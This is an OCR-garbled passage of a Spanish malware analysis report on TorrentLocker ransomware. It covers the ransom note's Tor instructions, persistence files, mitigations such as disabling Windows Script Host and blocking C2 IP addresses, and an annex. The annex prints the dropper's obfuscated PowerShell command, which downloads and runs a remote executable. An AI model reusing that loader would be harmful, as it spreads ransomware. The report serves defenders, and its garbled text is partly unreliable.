Informa sobre cémo instalar un navegador Tor para poder
readlizar el pago del rescate.

14813E82AD99F64A1A2AABD1489A9A0F3912A7D0772CD4AC
7317A7A9701E4594C

= Use Internet Explorer, Chrome or FireFox to access Tor Project website: hitps:/iwww.torproject org/download/download-easy.html.en

° @ | httos: /fwrow. torproject.org/donrioad donrload-easy himl.en

= Press Download button, and download Tor Browser + Install Tor Browser and press Connect button

All your valuable data is now encrypted by CryptoLocker

Install TOR browser and visit our website to get solution

& 3 Bofore you comect 1o o Tor natwork, you nwed to provide
s informatian about this computer's Intermet connecbon.

BROWSER
Which of the following best describes your situation?

1would lie bo connect directy to the Tor retwork.
Thes will work i most situatons.

= Open TOR Browser and visit our website, you can find the link to our website in HOW_TO_RESTORE_FILES.TXT files
X3
llustracién 26 Instrucciones de instalacion de Tor
Ejecutable Se trata de una copia del propio binario, con un nombre
jffiloanum.ex  generado de manera aleatoria. Serd el que se haya
e incluido en la clave de registro con intencién de
persistencia en el arranque del equipo.
SHA-256: 98aad54148d12déd9f6cab44974e3fe8e1175abc87ff5ab10c

c8f3db095c3133

@ HelpPane.exe
@ hh.exe
Bs inudicaj.png

3 ffibanum.exe

14/07 /2009 3:39 Aplicacion 717 KB

14/07/,2009 3:29 Aplicacign 17 KB
25/10/2016 12:18 Imagen PNG 161 KB
25/10/2016 12:06 Aplicacian 362 KB

llustracién 27 Persistencia en la carpeta Windows (imagen y binario)
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Los nombres de los archivos y carpetas mencionados tienen un valor aleatorio,
ddndoles un valor Unico por infeccidn. Esto dificulta la elaboracién de Indicadores
de Compromiso.

9. DESINFECCION

Hasta el momento de redactar este informe, no existe ninguna herramienta
conocida gue permita la recuperaciéon de los ficheros cifrados con la versién actual
de TorrentLocker aqui descrita.

10. EVITAR LA INFECCION

En primer lugar, y como muchos otros, el dropper consiste en un script que utiliza
el servicio Windows Script Host, con lo que, si la mdquina no lo necesitqg,
desactivéndolo se puede evitar la infeccidn como primera labor de la contencién.

11
Elsgé Editar valor de DWORD (32 bits) @
Policil Nombre de valor:
Red B Enabied
Regisf
Sonic| Informacién del valor: Base
Woud [ @ Hexadecimal
TEM () Decimal
JSERS
CURRE osptar | [ Cancelar
]

Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

llustracion 28. Desactivacion de WSH

Como se ha explicado anteriormente, este cédigo danino necesita para
continuar con la infeccidén hacer una consulta inicial en alguno de los servidores cuyas
direcciones IP est&n contenidas en la lista incrustada en su cédigo. Es decir, si no hay
conexidon a internet o no se puede conectar con uno de estos servidores, el
ransomware no podrd cifrar el equipo aungque este sigue estando infectado y es
necesario limpiar el equipo ya que, cada cinco segundos, comprueba si hay conexion
ainternet para poder continuar la rutina de infeccion.
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i Asistente para nueva regla de salida @
Ambito
Especifique las direcciones IP local y remota a las que se aplica esta regla
Pasos:
@ Tipoderegla
@ Programa A qué direcciones IP locales se aplica esta regla?

@ Protocolo y puertos ‘@ Cualquier direccidn |P I:}
@ Ambito Estas direcciones IP:

@ Accion
@ Perfil

@ Mombre

Personalizar los tipos de interfaz & los gue se aplica esta regla: Personalizar...
£A que direcciones IP remotas se aplica esta regla?
Cualquier direccién [P

@ Estas direcciones IP:

106.185.28 25 -
163.172.185.132 - | b
31.31.76.169 3
62113216177
208.8322334
173.79.62.159 o
Més informacidn acerca del dmbito especficada
| < Alrés | | Siguierte > | | Cancelar

llustracién 29. Bloqueo de IPs

ANEXO A.
1. COMPROBACION WINDOWS

uthanvil = [WScript] [0] CreateObject (Scripting.FileSystemObject)

if (uthanvil.GetBaseName('C:') === '' && uthanvil.GetBaseName('C:') .length
== 0) return true;
else return false

2. CONSOLA POWERSHELL
rnubabu = [WScript] [0] CreateObject (WScript.Shell)

elymudm = "cmd.exe /c "powershell
$cdenhe="'utio';$sbaghu='oces';S$uvos='ath';$gcechib='e
Pr';S$ybot='Down';$enbafs='Bypa';S$esjoqo='s
$p';$qoxi="tp:/';$pyvaj='=($e';Sasumde='S$pat';S$vgeseh="exe''';$taguf="£ft.1"
;$oxgaxe='bjec';$ojmedu='ss -

' ;$xuvsypc="'nPol' ;Supof='"'"'\nr';Sowbaxmy='t.co';S$ylykg='Exec';$vulohh='op''
,"';$igapy="'/cyj';$opyhh="'Star';$tyguh="'(''ht';$disi="'nv:t';Sramez='); (N';S$h
dapujh='clie';$erwyvve='Set-';$hyna='load';$oxvazci='s; $';$ihypu='ew-
O';$gkysny='File';$yprus='emp+';$efmyrfu="h) ;

' ;$tomwu='oces';$ezils='stem';$dhivxyxz="'t-
Pr';$wonemr='m/le';$jvera='Scop';$psatto='.Web';$ibpawcu='path';$nyti="'ila.
';8eryd='t Sy';S$wafe='nt).';$Samyvge='icy ';S$fotez='.Net'; Invoke-Expression
($erwyvve+$ylykg+$cdenhe+$xuvsypc+$amyvge+$Senbafs+$ojmedu+$jverat+$Sgcechib+$
sbaghu+$oxvazci+$ibpawcu+$pyvaj+$disi+$Syprus+Supof+$nyti+$vgeseh+$ramez+$ih
ypu+$oxgaxe+S$eryd+$ezils+$fotez+$psatto+$hdapujh+Swafe+$ybot+$hyna+$Sgkysny+
$tyguh+$qoxi+$igapy+S$Sowbaxmy+$wonemr+$taguf+$vulohh+$asumde+S$efmyrfu+$Sopyhh
+$dhivxyxz+$tomwu+$esjoqo+$uvos) ;"""

run (elymudm, dberebtig)
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